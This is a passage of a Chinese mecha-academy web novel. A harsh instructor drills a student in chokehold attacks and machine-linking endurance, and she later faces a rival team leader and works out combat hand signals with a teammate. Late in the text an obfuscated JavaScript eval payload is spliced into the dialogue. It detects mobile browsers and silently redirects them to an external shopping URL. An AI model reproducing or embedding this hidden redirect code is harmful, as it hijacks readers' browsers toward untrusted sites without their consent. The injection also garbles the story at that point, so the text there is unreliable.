即使英弦早知道是这样的情况，也还是觉得怒火中烧。鸣星不适应材料这问题实在太严重了，根本没法进行正常的训练。 他对学生们说：“所有人听好，下次课双人对战，输赢计分，按团队总分算，最后四队把绞刑里所有标准动作重复五十遍。” 这惩罚比例太高，群星班的学生很多没有对战经验，听到这消息立刻看向队友，互相指望的样子。 英弦从绞刑里跳出来，又对那边眼神涣散的鸣星说：“你下来。” 两人在场地后方面对面站着。鸣星第一次离这么近看英弦，刚刚对视，就感受到他身上的强大威压——光是被他看一眼，就有种直接投降的冲动。 “上我的课，必须学到东西才能走。你既然开不了机甲，就用你的身体把这些动作记住。” 英弦说罢，晃身闪到鸣星背后，瞬间钳住她的咽喉。 鸣星只觉得眼前一花，随即呼吸困难，她下意识大力拍打英弦的手臂，被放开后猛喘一口气，肺疼得厉害。 英弦：“看清了吗？” 鸣星摇摇头。 “再来一次。我放慢一点，你仔细感受。” 这次他的动作的确清晰很多，但看清是一回事，躲开是另一回事，鸣星又一次被扼住了咽喉。 “看清了吗？” 鸣星一口气没上来，艰难地说道：“咳……看清……” “现在你来进攻我，我教你反击方法。” “咳咳……我进攻？”鸣星惊讶地指指自己。 有铁拳辅助那时，她倒是做出了一些高难度的格斗技，但现在只靠自己，能做的动作很是有限。英弦只给她示范了两遍就让她做出动作，实在是有些强人所难。 英弦：“少说废话。” 鸣星只得依葫芦画瓢，不标准也不快速地晃到英弦附近，两手软弱无力地糊弄了一堆动作，最后作势要卡住英弦的脖子。 英弦：“……行了，手放下。” 这歪瓜裂枣的操作让他头疼。 “我示范五个进攻动作，你全部记住。然后我们对战，你进攻，我闪避，你只要碰到我，训练就算结束。明白？” 鸣星点点头。 紧接着，她被连续五次卡住了喉咙，最后一次甚至被放倒在地。 周围的同学悄悄往这边看，不约而同地想，被英弦盯上，也太惨了！想到这，他们更加不敢停下动作，继续加快练习。 英弦：“记住了吗？没记住我就再示范一遍。” 鸣星嗓子里一阵腥甜，咽喉处更是像被火烧着一样。她只是将手指轻轻搭到脖子上那些发热的位置，就疼得又冒了一头冷汗。 英弦当然没有对她下死手，但也没有放轻动作，每一下都扎扎实实地按住关键部位，有时候是咽喉，有时候是后颈，每个被锁定的位置都用痛觉提醒着她。 ——要攻击这里。 其实，她记了个大概，但细节还没有记住。 鸣星清了清嗓子，说道：“没记住。” 英弦有些惊讶。看她疼成那个样子，他还以为她会说记住了。 看来还有点骨气。 英弦不自觉地勾了下嘴角：“这次争取记住。” 又是接连五下的攻击，最后没放倒。即使如此，鸣星一阵头晕目眩，原地晃了几下，还是重重坐在地上。 “记住了吗？” 汗水从额头滑倒嘴角，鸣星抬手擦掉。她仰头看着英弦，忽然又笑了起来，说道：“长官，你怎么还收着力度了？” “……”英弦皱眉：“我问你记、住、了、吗！” “差不多了。”鸣星撑着地，缓慢地站起来，“现在打吧。” “你休息五分钟。” “不用。”鸣星回绝的十分果断。 “休息五分钟，这是命令。” 她微微屈起膝盖，双手抬起，一个准备进攻的动作，“长官，我怕五分钟后找不到感觉了。” 21. 王冠 英弦对不服从指令的学生十分不耐烦，暴躁道：“我让你休息你就休息——” 鸣星一拳打了过来。 英弦闪身躲过，瞪她一眼，呵斥：“手臂压低！” 算是对她刚才那一拳的指导。 “是，长官！”鸣星手臂下压，再次出拳。 英弦轻松闪过她接连几下攻击，“对着哪打呢？” “报告长官，是你的脖子。” 鸣星尝试从后方锁喉，然而刚刚抬手，眼前的人就像影子一样闪走了。 英弦冷笑道，“眼睛瞎了么，不知道找我动脉？” 鸣星看好他的下颌，再次快速进攻。 “这又是瞄准哪，空气吗？” “起势太明显，不会藏着点？” “这招目的是搞笑吗。” 一众嘲讽中，极其偶尔地穿插一句有用的指点，但知道怎么做和做到之间，还隔着大量的练习。十分钟后，鸣星的速度已经慢了许多，浑身汗水浸透，整个过程中，她连英弦的头发丝都没碰到一下。 英弦不仅速度快、意识强，连控制能力也做到了极致，有时像水一样柔软地流走，有时又像迅猛的子弹闪到另一边。 他好似连头发丝都能控制似的，长长的头发像是飞行器的航道，在空中甩来甩去，划出一道道计划内的轨迹，在鸣星即将碰到他的前一秒，滑到下一个位置。 鸣星撑着膝盖，重重地喘息着。汗水流进眼睛，她却没擦，就只是死死地盯着他的下颌。 不，碰到这里还是太难了。 这是要害中的要害，如果她真能碰到这里，几乎等同于能要了英弦的命。 她的目光在他全身上下游走一番，最后锁定在他腰间，垂下的发尾。 英弦见她低头，嗤笑一声。 “这就不行了么。”他嘴巴微张，清晰且缓慢地吐出两个字：“废、物。” 唰！ 鸣星一手猛地伸来，如猎豹扑食，迅猛地抓向他的腰间。 这下攻击本应猝不及防，然而英弦眼都没眨，双手背在身后，身子微微一转，双脚甚至没动，就轻巧地躲开了。 鸣星向前跑了好远才踉跄停下，动作有几分狼狈。 英弦冰冷的眼神盯着她，说道：“被刺激到是不理智的事情，你应该规划好自己的体力，而不是一开始就拼尽全力，除非你确定能在三秒钟内杀死我。” 鸣星甩甩手上的汗，轻叹一口气，说道：“我以为你会在我很累的时候放松警惕。” “你觉得我会轻敌？就算是对你这样的人，我也不会掉以轻心。”英弦面带愠怒，“我还以为你是聪明的学生，是我高估你了。” “你没有高估我。”鸣星笑道：“长官，给我点时间嘛，我要找找感觉。” 她看向他的双眼，手则不经意地抬到了腰间，虚搭在肋骨两侧，重心向后落去。 那是英弦现在在做的，随时可以移动、格挡或者进攻的机动性动作。 他脊梁骨窜上一股寒意来。 在场的学生绝对注意不到这个小动作，但他一眼就看得出来，鸣星手臂是向上抬的趋势，而不是向前，这意味着，这是防御的预备式，而不是进攻的。 但她现在扮演的却是进攻的角色。 英弦手臂夹紧了些，鸣星的双手立刻以同样的架势向里收紧，甚至连肌肉绷紧的位置都差不多。 ……她在模仿他，不管是动作、重心、还是发力位置。 英弦盯着她的手臂，脑中忽然一道闪电劈过—— 不。 准确来说，她在复制他。 英弦喉结微微滚动，低声道：“你找到什么感觉了。” “我是你的感觉。” 话音刚落，鸣星已然闪到他的身前！ 她一高一低地抬起双手，这是第一次他撂倒她的那一招，动作和发力都和他示范的差不多，俨然掌握了十之八九。 英弦顺势向后退去，然而，她的眼神却没瞄准咽喉，而是迅速下落，锁定了他腰旁边一寸，什么都没有的那个位置。 他向后躲闪时，发尾刚好会从这里飘过。 鸣星的手猛地缩紧，攥住那一块空气！ 英弦脸色一变。 发尾即将落进她手中的瞬间，他猛然反手推住她锁骨下方，向上送力，一只手就将她整个人掀翻。 鸣星不由自主地踉跄跌退，一连撞开好几步，后腰砰地抵上墙面，她倒吸一口冷气，疼得龇起牙，身子瞬间脱力，滑坐在地。 现场一片寂静，所有人都捏了把冷汗，他们或许没看清动作，但都清楚地感知到，鸣星这下应该是完了！ 不仅没有碰到英弦一根头发，还被轻松地推到一边，闪避时连个卸力的动作都没有，这样的战斗意识，怕不是要被英弦骂死…… “把五个进攻动作练熟，晚上我要考。” 英弦却只是意味深长地撇她一眼，语气也算得上平静。 他明白她的意思，年轻时，他也经常通过“感觉”来找感觉。 鸣星的确和他有些像。 ……大概像到，让他不爽的那个程度。 英弦回了前排，见一学生往这边看，心思不在练习上，动作摇摇晃晃，他压着的火腾一下翻上来，吼道：“你的腰没骨头吗？手在空中和面呢？” 周围学生忍不住笑出声，被他斜了一眼，立刻敛声练习。 之后的时间，其他同学在训练和挨骂，鸣星一直坐在原地没动，低头垂目，看着就像自闭了一样，颇有几分可怜。 她在不断回想刚才的事，想的却不是英弦的呵斥，而是他的一举一动。 从最开始教她进攻的五个动作，到对战时各式各样灵活的闪避，每一个动作都在她的脑中重复上演，一次又一次。 她很少把想象法用在过机甲以外的事情上，但刚才她差点抓到英弦的发尾，说明很有效。只不过对战时间太短，没来得及让她彻底沉浸。 ——如果我是英弦，我会怎样做出那些动作。 随着脑中回忆的重映，她的手微微颤抖着，小小地摆出那些动作的起势。 所有的细节都要做到位，所有的发力点都要一比一复刻，最后瞄准的点，就是她脖子上隐隐作痛的部位，必须精准地、迅猛地落在要害，一寸都不能错。 只有这样，她才能够成为英弦。 至少在发出攻击的一瞬间。 大概是下课了，周围变得嘈杂，面前走来了五个人，高大的影子罩住她的身体，有人说了什么，但她刚刚没听清。 为首那人个子娇小，骨架纤细，站在四个高大的队友中间，像被四尊黑铁拱卫的白玉雕像，灰金色的柔软头发及耳，额前碎发随意拨开，露出一双锐利的灰色凤眼。 他微微仰起下巴，左耳处有一枚银色的王冠耳钉。 他身后四人中，离他最近的那个高他半个头，肩宽背厚，头发梳得一丝不苟，像个侍卫一样守在他身边。其余三人，一个古铜色壮汉，一个瘦子，一个白嘴唇，他们眼神稍弱，但几个大高个站在一起，还是气势汹汹。 壮汉凶狠地说：“喂，我们王冠在和你说话。” 那个漂亮的小个子是学年排名20、班级排名第二的王冠，侍卫排名25，同为佼佼者。后面的三个跟班都在百名开外，成绩并不出色，但仗着王冠的优异，颇有威风。 他们这般不怀好意地挑事，周围同学齐齐看过来，却没一个说话。士阳正在脱机甲，见到这边骚动，急的腿卡在里面，更加动弹不得。 鸣星看着他们，没说话。 “你差一点就碰到了。要我教你吗？”王冠捏了捏手指，比了一个捻头发的动作。 这句语气透着轻佻的话，轻飘飘地从鸣星耳中飘过了。 她没思考他的话，而是盯着他看，脑中的影像变得越来越清晰，她几乎看到了自己即将做出的动作：手臂如何抬起，双腿如何站位，如何把手锁在对面之人的咽喉上—— 如果她是英弦，面前的这个人就是英弦的敌人，她自己。 见她久久不回应，王冠眼神冷下去，嘴角一撇，带着手套的指尖在她肩膀上轻点了一下。 “看来，吊车尾就是你给自己选好的位置。” 喀。 鸣星的手搭在了他护腕的卡扣上。 随即，顺着关节拧去！ 她像鬼一样滑到他的身后，在他被扭得向前俯身时，另一只手臂唰地绕过来，两手交扣，锁住了他咽喉的下方。 隐隐作痛的部位告诉她，要锁这里。 “呃——！” 王冠本能地拍打箍在他颈间的小臂，脚尖试图蹬地发力，却被她的膝盖顶住腿弯，力量瞬间溃散，齐整的刘海被汗浸透，狼狈地粘在额头上。 “放、咳、放开我，吊车尾！” 鸣星回过神来，急忙松开手，满脸歉意：“对不起啊，和面哥。我一不小心就抓到你了。” “………” 王冠本来气就喘不上来，这下差点过去了。 他凶狠地斜她一眼，狠狠擦去生理泪水，冷声道：“你找死，210！” “真的对不起，擀面杖。” 王冠的脸涨得通红。 噗嗤。 在这剑拔弩张的气氛里，有人再一次笑了出来，正是王冠身边那位侍卫。 王冠对他怒目而视，他立刻抿着嘴唇，一脸严肃地指着鸣星，沉声道：“我警告你不要乱叫，我们以前都叫他小国王的。” 王冠的脸更红了，低吼道：“托兰，闭嘴！” 鸣星说道：“你不要叫我吊车尾，我就不会给你起外号了。” 王冠深吸一口气，闭上了眼。再睁开时，脸上已看不出情绪，他将凌乱的刘海别到耳后，指尖不经意掠过那枚王冠耳钉。 “下次对战，你最好祈祷别抽到我们。”他冷声道：“否则，你会哭着求我结束。” 说罢，他利落地转身离开，四个高大的男子紧紧跟上去。 鸣星一脸莫名其妙，对赶来的士阳说道：“他想得太多了，我连机甲都开不起来，怎么和他对战呢。” 士阳神情严肃，“王冠……他还挺有名的。” “他怎么啦？” “他是他们星第一名，体能一般，但是战斗的控制能力很强，机甲对战从来没败过。” “这难道不是说明他就没挑战过厉害的选手？” 士阳哽了一下，“……倒也是。” 同学们成群结队地离开，走之前都以一种奇异的目光看过来，打量着鸣星和与她组队的四个同学，走出训练室后，就立刻小声议论。 零星听得到什么“210”，这个耻辱的排名，已然成了鸣星的代称。 尤其是沈静，以一种“果然如此”的同情眼神，深深地看了士阳一眼。 士阳身子骨发凉，虽然王冠并没有针对她，但在所有同学的眼中，她和鸣星是一体的，一荣俱荣，一毁俱毁。 在她看来，班里的权力结构正在慢慢构建，就像她经历过的——光明正大的针对、传播性的羞辱外号、同学们冷漠的目光和置身事外的议论。 她颤声道：“星星，现在我们该怎么办？” 鸣星拍了拍身后的灰，说道：“我们该去吃午饭。” 士阳：“……” 不过，事情并没有发展得那么糟，在食堂里，士阳听到有外班的人在讨论“擀面杖”。 鸣星哈哈笑起来：“还是我起的这个外号杀伤力更强。” 她挑了个看着好吃的窗口，拉着士阳过去：“阳阳，午饭我请你。”之前士阳给她带了吃的，自然要请回去。 士阳倒没有推脱，这种有来有回的互请，对她来说完全就是感情亲密的象征。她也没客气，按照自己喜欢的点了几个，只是结账时，鸣星的笑容出现了一丝裂缝。 这窗口的价格比她预期要高，她们两个的加起来，差不多把她现在有的积分全部花光，而下午还有课，没时间再做任务赚积分了。 “星星，怎么了？”士阳见她迟疑，说道：“要不我来吧。” “没事没事。”鸣星笑着刷了卡。 她今晚恐怕要去英弦的办公室加练了。 …… 英弦的办公室堪比S级的小型训练场，办公桌右侧是足够两个5米机甲打得有来有回的大片场地，展示柜里排满至少20款不同类型的机甲，后方的仓库里不知道还有多少。 除了两个标准机外，都是他亲手设计的机甲。 鸣星一进去，目光就被那多样的机甲展示吸引了，走过去时一路扭着头，到英弦面前才回过头来。 “长官，我想看看你那个超有名的走马灯……” “闭嘴。”英弦面色阴沉，“一点规矩没有。” 鸣星也不知道他的规矩是什么，只好先闭上嘴，等他吩咐。 “今天训练时间五小时，三小时机甲启动训练，一小时体能训练，一小时体术基础，计划三周内适应标准机材料。” 鸣星有点意外，她以为英弦找她加练是要想尽办法骂她，没想到他居然认真做了教学计划。 他指着训练场中间的绞刑标准机，直入正题：“现在，展示五个进攻动作。” 对着机甲做，而不是和他对战，看来只要做得标准就可以了。 鸣星走到机甲对面，干脆利落地做了五套动作，不过十秒内就拆得绞刑七零八落。她转身朝英弦一笑：“我做的还不错吧？” “……嗯。”英弦沉默半天，才说：“还可以。” 鸣星确信她已经做到没刺可挑了。下课后她把时间全用来练习而不是做任务，从英弦那副找不到茬的憋屈表情来看，这个选择十分明智。 “过来。”英弦的目光落在她的右手上，“手套摘了。” 鸣星嘴角微微一颤。 她知道考官们多半意识到她的机械手了，但就这样让她露出来，多少有点揭短的意思。有机械手听着酷炫，可说白了，就是断臂残疾。 不过，她倒也没多在意。 “好啊。” 鸣星唰地摘了手套，露出一只白玉一般的机械臂，关节修长而有韧性，完全模拟了人手的结构，转动自如，青色的长条材料模拟肌肉和血管，并入她肉身的手臂里。 她快速地伸开手掌，五指依次收到掌心，又做了几个手指单独伸出的动作，作为独立性展示，最后停在伸出中指上。 英弦看着她。 她迅速切换成拇指，说道：“这是我妈妈给我做的，是不是很好看？” 英弦没说话，盯着看了一会，伸手握住了这只做工精巧的机械手，就好像之前托住观音的手时那样小心，手指在她的掌心的结构上轻轻摩挲过，好像在感受材料。 “长官，你为什么要和我牵手？” “……”英弦甩开了她的手：“计划改为五天。” 刚才不还是说三周么？ 鸣星：“为什么？” “你已经适应了优质材料。” 这只手算得上一个超微型机甲了，材料也是上成，只不过一只手的精神损耗量，和一个完整的机甲还是没法比。 鸣星对优质材料的适应难度没概念，听英弦这么说，就也点点头，“那太好了！” 英弦忽地一笑，“上机。” 鸣星钻进第二座绞刑里，问道：“启动要怎么训练呢？” “开机，晕了就叫醒。就这么训。” 英弦说罢，拿了一份文件开始批，好像是要在她训练的时候办公。 鸣星心道，这么简单粗暴？看来适应材料也没那么难，在和影刀的对战中，她也是这么让自己撑了全程的。 她把线插进接口，立即晕了过去，随即，轰轰的震动将她唤醒，她勉强睁开眼，很快又闭上，要开始做梦时，又一阵震动响起。 如此反复了十几次，她终于意识到英弦那一笑意味着什么。 标准绞刑的信息量比半身铁拳高三个量级，折磨程度高了五倍不止。 这种感觉就好像通宵好几天后，躺在床上却一睡着就被叫醒，被强制唤醒次数越多，困倦的感觉就越强烈，大脑好像被什么冻住了，几乎无法思考。 鸣星艰难道：“长官，我想休息一会。” “你现在平均清醒时间是1.5秒，等做到30秒的时候可以休息十分钟。” “……”这是什么魔鬼进阶。 英弦头也不抬，一边批着 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她猛地睁开眼，见到一只铁手直冲面部而来，吓出一身冷汗，在理智还未接管大脑之时，那手就已经进入了她的控制，倏地停在半空。 英弦点头道：“很好，清醒时间到了3秒，继续保持。” 这种噩梦惊醒的感觉，宛如差点猝死一般。 鸣星深吸一口气：“长官，我觉得我要死了。” “死不了，你的心率还在正常范围。” “……长官，我头好疼啊。” “战士不许喊疼。” “长官，能饶了我吗？” “战士不许求饶。” “长官，我已经不行了。” “战士不能说自己不行！” “长官，我可不可以不做战士。” “不行，闭嘴，再说废话我就加时间。” “……嘁。” 鸣星的不满很小声，但还是被英弦听到了，他阴郁的脸明媚了许多，笑着说道：“不服忍着。” 接下来整整三个小时，就只在重复两件事。 回答专业课问题，在手臂突然攻击时取得控制。 其中只有三次回答错误，还有两次被手臂击中，但英弦一刻也没允许她休息。 鸣星走出机身时，头晕目眩，立刻摔倒在地，流出两道鼻血来。 看她被折磨成这样，英弦心里着实有点暗爽，但距离彻底满足又差了一点什么。 整个过程里，鸣星恳求过，装死过，但就是没有崩溃过，甚至连恳求时都带着一点无所谓。 “长官，我真的要死了。”鸣星眼皮都撑不开，声音飘飘忽忽，“要死也让我死在床上吧，我要睡觉。” “这里没有床。” 鸣星瞟到办公室下面的地毯，就像回老家了一样感动，蠕动过去，说道：“我看这地毯就挺好。” “鸣星！”英弦皱眉，呵斥道：“你身为战士的尊严呢？不许爬！” “几千万年前，我们人类都是这样在树上爬来爬去的。” “……”英弦胸口泛起阵阵怒火：“我数三个数，给我站起来！三，二，一——” 办公桌下，传来了鸣星均匀的呼吸声。 婴儿般的睡眠只持续了一秒，她被扯着领子揪了起来，英弦瞪着她，吼道：“睁开眼睛，训练还没结束！” “长官，真的没人举报过你吗？” “受不了，就退学。” 鸣星连连点头，一脸开心：“能把学费也一起退给我吗？” 看她这幅什么都不认真的样子，英弦就火大。 他微微扯了下嘴角，冷声道：“我不会让你退学的。我会把你训到通过二次考试，进入银龙班，成为这届最厉害的机师。” 鸣星心道，这人怎么还自己左右脑互搏呢？刚说要她退学，现在又说不许退。 英弦一字一顿地说：“你会成为我的代表作之一。” “长官，容我提醒一下，我进了银龙班就不算你的学生了。” “……少废话，去做体能训练！” 困得要死还要练体能，折磨程度比刚才更上一层。 鸣星没想到的是，经过整整四个小时的训练，她已经站都站不稳，又被英弦叫起来和他做对战的体术练习。 她无奈道：“我现在已经没法思考了。” “不用思考，把对战技巧刻进你的本能里。”英弦喝道：“向我进攻！” 鸣星不太记得后面一个小时发生了什么，大概就是机械地重复那些对战动作，回到宿舍她倒头就睡，第二天醒来时还觉得大脑一片空白。 昨晚学会了什么动作，一概不知。 “星星，你的目光怎么有点呆滞。”午饭时，士阳担心地问，“英弦骂你了吗？” “骂了吗？”鸣星迟疑道：“我不记得了。” “……你还好吧？” “我挺好的，就是困。”鸣星打了个哈气，“下午你们先练习吧，我要回去补觉，晚上还要去英弦办公室训练。” 三天后有英弦的课，按他所说要双人对战，团队计分，同学们都在组队练习。 士阳约了训练室，邀了边子奕和萨鹿一起，海微遥像鬼一样不见踪影不回消息，只能先不带他。 鸣星现在还没法正常启动机甲，去了也练不了什么，更何况她还得腾出时间做清理任务，否则吃饭的积分都不够用。 士阳一直心事重重，临分开前，还是问出了她最焦虑的事：“我听说规则是按发起挑战配对，王冠他们一定会挑我们打，星星，到时候你能战斗吗？” 这场对决只是学生生涯中很小的一次练习，但对于此刻的他们来说，却是决定地位的重要之战。 在龙羿，实力为大。如果他们小组打不过王冠组，恐怕真的要被带头孤立了。 鸣星微笑道：“嗯，我已经可以持续清醒十秒了，肯定很快就能彻底克服材料问题。” 英弦说五天把她练出来，她也以为会是如此。 第五天训练时，鸣星的清醒时间已经几乎可以持续三分钟，依照英弦所说，这是一个关键的瓶颈期，突破三分钟后就可以飞跃地进步了。 “三分十秒，有突破，再来十次左右就能稳定。”英弦说道：“继续。” 鸣星却没说话。 她看着前方，忽然觉得自己十分清醒。 英弦看了眼机师状态，也是一愣，两人沉默地又等了整整五分钟，他才说道：“……已经可以了。” 语气中竟有些隐隐的不甘。 虽说他说了五天要把她训出来，但那只是气话，适应材料是童子功，许多人要花一年半载的时间才能稳定，更别说鸣星还没穿机甲服。 好材料和差材料，区别在于适应不同量级和参数的信息。 好材料难点在于信息量大，相当于和机甲你说你的我说我的，都没听清对方说什么。 坏材料难在基本没法和机甲沟通，相当于无效指令，机甲不听。 就算鸣星曾经开得动观音，但如今只花五天时间就从无到有地适应了绞刑，也是常人难以想象的——这根本就是两种方向的难，但她却都克服了。 鸣星的天赋，有些超出英弦的预料。 他站起身来，钻到另一只机甲里：“现在和我对战训练——” 鸣星打断了他：“长官，我的大脑失灵了。” “……你在说什么？” “我不会再睡着，也没法开动机甲。” 她清醒地发出了指令，机甲却没有动。 英弦皱起眉：“多试几次，集中注意力。” “五分钟内我一直在试，你有看到数据吗？” 没有。 机甲的数据里，一条异常的波动都没有，机师状态清醒，但没有发出任何，大脑指令。 鸣星轻声道：“它听不懂我说的话。” 她从机甲的视窗里看过来，眼神冷静到让人发寒的地步。她少有的没在笑。 22. 格斗家-抱杀 英弦用了半个小时做了各种测试，最终他不得不接受一个事实，鸣星彻底变成了初学者水平。 “指令失语。大脑知道要做什么，但没用机甲的语言说出来。入门的常见问题。” 英弦关掉观音和影刀对战的数据资料。鸣星以前控制机甲全靠本能，但在高强度训练下，控制的本能似乎被保护的本能抑制住了。 解决方法只有一条：刷题。标准测试题就是机甲的语言教材，刷多了，大脑自然学会怎么发正确的指令。 但也可能让她彻底失去之前野路子的本能。 把天才训成新手这事说出去丢人，英弦内心深处竟有一丝恐惧，如果鸣星彻底变成庸才该怎么办？ ……不，没什么怎么办。训练，更多训练，疯狂训练！变回初学者就从零开始，就算是只蚂蚱他也要训成能飞的鹰！他的眼神很快坚定起来：“明天开始做标准题，每天过三遍，不超过两周你就能恢复正常。” 鸣星平静的注视让英弦头皮发麻，他喜欢冷静的士兵，但此刻他宁愿她大吵大闹，露出些情绪来。 他沉声道：“最开始过三遍要久一些，熟练了就只要三小时了。下次对战训练你不用参加，旁观就行，所有课余时间都用来做题。” 鸣星仍旧沉默。 “你现在的问题和标准测试时的危险异常是一样的，精神稳定性差。如果你想轻松提升，就去……”英弦不自主地停顿，声音滞涩，“……穿机甲服。” 鸣星终于开了口，语气平淡，“还是算了吧，我不喜欢那种束手束脚的东西。” “穿机甲服。”英弦重重地重复了遍，“会让你接下来的训练顺利很多。” “长官，现在的问题是我的错吗？” 这问题让英弦一愣，声音紧促几分，“不，这是……” 他本想说，这是我的错，但话出口就变了样。 “……自然现象，不是谁的错。” “原来如此。”鸣星点点头，“我手刚断的时候，总想找一个怪罪的对象，但怎么也找不到，有个朋友对我说，没有谁的错，只是我命不好。” 她仰起头，平静的眼神像一把利剑，插入英弦的心脏，“长官，你也是这么想的吗？” 英弦瞳孔紧缩，低声问道：“你的手是怎么断的？” “星兽，很久以前的事了。” 许久的沉默后，英弦攥紧了拳，咬牙道：“……是我的错。” 他的训练强度是大了些，但所有人都是这样训练的，他自己也不例外。他用这种粗暴的强度快速提升了许多学生的能力，方法绝对没有问题。 但，或许并不适合她。 也不适合那些自发退学的学生。 “我应该更早发现你的异常，调整训练方法。” 他这几年就没向谁认过错，然而他都这样说了，鸣星却还是毫不留情：“老师，你应该毁了很多学生吧。” “……” 英弦没有纠正她的叫法，他舌根发紧，像是被谁扼住了咽喉。 鸣星见他这副表情，眉心微微一颤。她用机械手捂住胸口，颇有些做作地说：“明天我非得来吗？好想休息一段时间，疗愈一下心里的伤口啊。” “……鸣星。”英弦郑重地叫了她的名字，“你可以是异类，但与此同时，你必须强大。” 他自然看得到班里诡异的气氛，但他从不管学生交际的小事，被打压孤立是最简单的一关，这都顶不过，又怎么可能在残忍的战场生存？ 鸣星的手慢慢滑下去，落在身侧。 “知道了，长官。” 她起身向外走，在门前停下，背对着他举起手，挥了挥。 “但我不是异类，他们会明白的。” 英弦沉默着看她竖起的中指。 “抱歉长官，手有点不受控制。”鸣星回头朝他一笑，“我不会穿机甲服的。不过一切都会好起来，放心吧。” 门关上时轻轻的咔哒声响，震得英弦浑身一颤。 强大。能让所有人都惧怕、追随的强大，或者是对一切都无所畏惧的强大。 他已经失去了后者，但，她还有。 …… 三天后，对战课。 训练场堆着格斗家系列的各种机型，铁拳、斩首、长鞭、抱杀、绞刑…… 学生们面面相觑，他们这几天加急练习了绞刑的对战，但现在英弦把这一系列都摆出来是什么意思？ “我没说只能用绞刑对战吧？”英弦抬手一挥，屏幕上显示了一排克制关系的图示。 铁拳的重拳抵得住斩首的致命一击，斩首能迅速突进击杀长鞭，长鞭让抱杀无法近身，抱杀可以转腰压制绞刑的偷袭，而绞刑又能绕后避开铁拳的正面攻击。 “根据对手的情况选择恰当的型号，事半功倍。机甲的战术选择，是你们要学的第一课。” 听到这，王冠露出张扬的笑，其他学生也都悄悄地打量着他。 王冠的队伍磨合得过分好，开学两周以来，他们碾压式地霸占了所有课程的第一名，多得的积分都用来预约高级训练场，王冠更是组织全员把格斗家系列全练了个遍。 他早料到了英弦会这么做。 “本次对决为挑战制，一个队最多可以挑战四个不同队伍，也可以谁都不挑战，被挑战者必须应战。1v1对决，禁止机甲内通信，胜利得1分，失败得0分，最后计算团队总分。” 英弦讲完规则，把场地让给学生们，“谁先来？” 现场安静了会儿，王冠第一个举起手来：“我们队挑战鸣星队。” 士阳冷汗直冒，萨鹿更是闭眼装死，鸣星对上王冠挑衅的目光，笑呵呵地说道：“我打不了，你们队最多得四分。” 王冠冷笑：“瞧不起我，还是怕了？” “她精神不稳定，不能开机甲。”英弦冷不丁插话。 王冠没想到英弦会干预学生交涉，难以置信地瞪大眼，“……长官，这不公平吧？” “其余人正常对决，她观战。”英弦斜了眼长舒一口气的士阳，说道：“士阳一人计两分。” 士阳：“……” 她就知道英弦这个小心眼的要报复她！ 王冠在乎的哪是分数，他想和鸣星对战，不甘地看了鸣星好几眼，威胁道：“我给你十分钟准备时间。你最好亲自上，不然我就把士阳打得头破血流！” 士阳：“………”她招谁惹谁了。 鸣星笑道：“是么？一会输了可小点声哭，擀面杖。” 王冠冷哼一声，随手指了另一组：“我队挑战他们。” 士阳对王冠的了解限于传闻，她本来希望那只是大家传得浮夸了些，但看完整场对决，渐渐绝望了。 王冠用斩首一分钟解决了战斗，赢得利落。托兰也用斩首取胜，剩下三个菜鸡居然也得了两分。 “……他们是怎么做到的？”士阳声音有些恍惚，“那三个人排名不是很差吗？怎么变得这么会打了。” “王冠在指挥他们呢。”鸣星指指王冠的手，“他在比手势，再来两轮我就能猜得出含义了。” 王冠听到他们这边讨论，嗤笑道：“别猜了吧，我列个表给你看。” 鸣星点开腕表，“现在发我？” 王冠：“……” 他从校园通讯录里翻出鸣星，狠狠戳了个挑衅的表情包发过去。 “小猫扔垃圾是什么意思？” 王冠气得脸发红，吼道：“……那是老虎！！” 他带着怒气打爆了下一组挑战对象。 士阳紧张道：“星星，为什么要挑衅他？” “为了激出他的破绽。” 士阳眼睛一亮，满怀期待地问：“你看出来了？” “哼，”鸣星胜券在握地轻笑一声，手指捏住下巴，缓缓开口，“……正在看。” 士阳：“……” 几组对决同时进行，大概是被王冠盯上的缘故，居然没有其他组挑战他们，而他们心散又缺战力，谁都没有提出要挑战别人。 王冠每一轮都换个机甲，从未战败。很快，他打完了第三轮对决，队伍战绩3：2，他们五个人气势前所未有的高，齐齐投来挑衅的目光。 这边海微遥全程低头，边子奕一脸呆滞，萨鹿早就隐身进阴影之中。 队友已经没救了，过了这么久，鸣星的手还放在下巴上，笑容有一丝僵硬。 士阳焦急道：“想出什么了吗，他们马上要挑我们了，一会我们要被打爆了啊！” “他的手势挺多的，到现在还没有重复。不过，我们也可以搞自己的手势。” 鸣星转身，扶住士阳的肩膀，望着她的眼睛，认真地说道：“阳阳，虽然我不能开机甲，但你就是我的机甲。” “……啊？” “这个手势，你感受一下。”鸣星握拳。手腕转了一圈，“能联想到翻滚吗？” “联想不到。” 鸣星换了个思路，一手竖直当对手，另一只手握从下往上划了道弧线，最后做爪状收紧，“这个呢，猜猜是什么？” “额……上勾拳？” “薅他的头发。” “机甲哪有头发？” “这是一种感觉，你作势要打他的头，他会后仰躲闪，但你真正攻击的位置是脑袋后一寸，他会正好被你击中喉咙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497792|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……骗招？”士阳似懂非懂。 “没错。接下来是这个。”鸣星一手不动，另一只手快速转圈，紧接着先前的手也跟着转了起来。 “我的天。”士阳不自觉捂住额头，一种崩溃的感觉油然而生，不过她盯着看了两秒，脑中忽然迸发了灵感：“二人转！” 鸣星：“……” “不，我的意思是……风筝走位，绕侧遛他！” “bingo！”鸣星兴奋地与她击掌，“上吧阳阳，我们的同步率已达百分之百！” “……那应该，还是没有吧。” 王冠整理下制服领口，气势满满地朝鸣星一抬下巴，“真的不来么？” 鸣星微微一笑，拍了拍士阳的肩膀，“她就是我。” “呵，那你就等着输两次吧。” 英弦看了他们一眼，挥了下手示意上场。 出场顺序和机甲选择先后都是抽签决定。第一轮，古铜色壮汉对上萨鹿。 萨鹿又没练过别的，只能选绞刑。她看到壮汉后手选了抱杀，还没打就已经出了一身冷汗。 “完蛋了。”她小声道：“我完全不了解抱杀，我会输。” 